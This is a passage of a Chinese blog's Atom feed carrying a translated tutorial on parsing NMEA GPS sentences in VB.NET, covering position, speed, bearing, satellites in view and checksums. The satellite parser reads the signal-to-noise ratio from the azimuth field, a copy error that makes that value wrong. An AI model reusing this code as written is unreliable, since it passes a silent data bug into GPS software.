rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Longitude As String = Words(5).Substring(0, 3) & "°" ' Append hours</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Longitude = Longitude & Words(5).Substring(3) & """"&nbsp;&nbsp;&nbsp; ' Append minutes</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Longitude = Longitude & Words(6)&nbsp;&nbsp;&nbsp; ' Append the hemisphere</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Notify the calling application of the change</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent PositionReceived(Latitude, Longitude)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Do we have enough values to parse satellite-derived time?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(1) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes. Extract hours, minutes, seconds and milliseconds</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcHours As Integer = CType(Words(1).Substring(0, 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcMinutes As Integer = CType(Words(1).Substring(2, 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcSeconds As Integer = CType(Words(1).Substring(4, 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcMilliseconds As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Extract milliseconds if it is available</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Words(1).Length &gt; 7 Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UtcMilliseconds = CType(Words(1).Substring(7), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Now build a DateTime object with all values</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Today As DateTime = System.DateTime.Now.ToUniversalTime</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim SatelliteTime As New System.DateTime(Today.Year, Today.Month, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Today.Day, UtcHours, UtcMinutes, UtcSeconds, UtcMilliseconds)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Notify of the new time, adjusted to the local time zone</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent DateTimeChanged(SatelliteTime.ToLocalTime)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Do we have enough information to extract the current speed?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(7) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes.&nbsp; Parse the speed and convert it to MPH</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Speed As Double = Double.Parse(Words(7), NmeaCultureInfo) _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * MPHPerKnot</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Notify of the new speed</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent SpeedReceived(Speed)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Are we over the highway speed limit?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Speed &gt; 55 Then RaiseEvent SpeedLimitReached()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Do we have enough information to extract bearing?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(8) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Indicate that the sentence was recognized</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Bearing As Double = CType(Words(8), Double)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent BearingReceived(Bearing)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Does the device currently have a satellite fix?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(2) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Select Case Words(2)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "A"</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent FixObtained()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "V"</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent FixLost()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Select</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Indicate that the sentence was recognized</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return True</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Interprets a "Satellites in View" NMEA sentence</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function ParseGPGSV(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim PseudoRandomCode As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Azimuth As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Elevation As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim SignalToNoiseRatio As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Divide the sentence into words</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Words() As String = GetWords(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Each sentence contains four blocks of satellite information.</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Read each block</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' and report each satellite's information</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Count As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; For Count = 1 To 4</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Does the sentence have enough words to analyze?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If (Words.Length - 1) &gt;= (Count * 4 + 3) Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes. Proceed with analyzing the block. Does it contain any information?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Words(Count * 4) &lt;&gt; "" And Words(Count * 4 + 1) &lt;&gt; "" _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; And Words(Count * 4 + 2) &lt;&gt; "" And Words(Count * 4 + 3) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes. Extract satellite information and report it</SPAN><BR style, ="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PseudoRandomCode = CType(Words(Count * 4), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Elevation = CType(Words(Count * 4 + 1), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Azimuth = CType(Words(Count * 4 + 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SignalToNoiseRatio = CType(Words(Count * 4 + 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Notify of this satellite's information</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent SatelliteReceived(PseudoRandomCode, Azimuth, Elevation, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SignalToNoiseRatio)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Next</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Indicate that the sentence was recognized</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return True</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Returns True if a sentence's checksum matches the calculated checksum</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function IsValid(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Compare the characters after the asterisk to the calculation</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return sentence.Substring(sentence.IndexOf("*") + 1) = GetChecksum(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Calculates the checksum for a sentence</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function GetChecksum(ByVal sentence As String) As String</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Loop through all chars to get a checksum</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Character As Char</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Checksum As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; For Each Character In sentence</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Select Case Character</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "$"c</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Ignore the dollar sign</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "*"c</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Stop processing before the asterisk</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Exit For</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Is this the first value for the checksum?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Checksum = 0 Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes. Set the checksum to the value</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Checksum = Convert.ToByte(Character)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' No. XOR the checksum with this character's value</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Checksum = Checksum Xor Convert.ToByte(Character)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Select</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Next</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Return the checksum formatted as a two-character hexadecimal</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return Checksum.ToString("X2")</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">End Class</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><BR><SPAN style="FONT-WEIGHT: bold">总结</SPAN><BR><BR>你现在应该已经很好的理解这个NMEA描述器是如何从语句里提取单词的了。你现在可以通过卫星来定位、同步你的电脑钟、找到你的方向、探测你的速度，并且 阴天也一样可以知道卫星在天上的位置。这个描述器无须任何改动就可以工作在.NET简装框架上。如果语句被存储在一个文件里，那么这个描述器可以用来回放 你的旅行过程。所有这些让人激动的特点，仅仅用了这么一个小小的类就完成，但是这个描述器能导航你的汽车或者帮你打高尔夫吗？肯定不行。这里保留了一个重 要的主题，关于如何是GPS应用程序很好的工作于现实世界：精确度的问题。GPS设备报告它们获取的一切信息，然而信息是不精确的。事实上，当前位置信息 可以有半个足球场那么大的误差，甚至设备采用了时下流行的DGPS和WAAS修正技术！不幸的是，不少开发人员并没有意识到这个问题。这里许多第三方的组 件，当然这些组件不适合用于商业应用程序，因为它们要加强精确度最小程度。还是建议你把这篇文章放在手边，下一篇文章还用得上。我会在那篇文章里详细介绍 加强精度，并让这个描述器可以更适用于专家级高精度应用！<BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=71" /> 
	  <id>http://www.openx.cn/default.asp?id=71</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[怎样写一个GPS应用程序1—介绍]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-11T21:27:36+08:00</updated>
	  <published>2005-10-11T21:27:36+08:00</published>
		  <summary type="html"><![CDATA[<TABLE height=98 cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD style="PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 5px; PADDING-TOP: 5px" height=26>
<P>原文：<FONT class=hdr><A href="http://www.developerfusion.co.uk/show/4634/" target=_blank>How to Write a GPS Application - Introduction</A><BR>作者：</FONT>Jon Person&nbsp;&nbsp; 翻译：YuL (<FONT face=Verdana><A href="http://www.cnblogs.com/yul/">http://www.cnblogs.com/yul/</A>)</FONT><A href="http://www.developerfusion.co.uk/vbnet/"><BR></A><BR>需要什么样的GPS应用程序才能满足商业级的要求呢，像安装在车里的导航器一样？而且，GPS数据是怎么被解释，从而应用于实际工作中的呢？在这两部分里，我将和大家一起探讨这两个问题，并且给你编写商业级GPS应用程序必要的技巧，让专业的GPS设备能够更好的为你所用。<BR><BR><SPAN style="FONT-WEIGHT: bold">一句重要的语句</SPAN><BR><BR>第一部分将探讨描述GPS原始数据的工作。实际上这个工作已经被国家舰船电子协会(下面简称NMEA，www.nmea.org）给简化了许多，该网站介 绍了一个正广泛应用于GPS主流设备的工业标准。为了给广大的开发人员一个良好的开端，我选择使用的一些VS.NET的源代码来自我的“GPS.NET Global Position SDK”组件。（为了简短这些代码，我去掉了诸如多线程和错误处理的部分。）<BR><BR>NMEA数据通过一个“逗号分隔的语句”来传递，这个语句包含的信息都基于语句的第一个单词。这里有五十种以上类型的语句，不过真正的一个描述仅仅需要处理少量的采集数据。最终常用的NMEA语句是“推荐最小”语句，它以“$GPRMC.”开头。这里有个一例子：<BR><BR><SPAN style="BACKGROUND-COLOR: rgb(255,255,0)">$GPRMC,040302.663,A,3939.7,N,10506.6,W,0.27,358.86,200804,,*1A</SPAN><BR><BR>这条语句基本上包含了GPS应用程序所需的全部数据：纬度、经度、速度、方向、卫星时间、状态以及磁场变量。<BR><BR>第一步就是要写一个方法来解释NMEA数据，这个方法需要完成两件事：将每条语句分解为独立的单词，和检查首单词是否有效。清单 1-1 就是这个描述类的开始部分。<BR><BR>清单 1-1：一个NMEA描述的核心功能是将NMEA语句分解成单个的单词。<BR><BR><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'**&nbsp; Listing 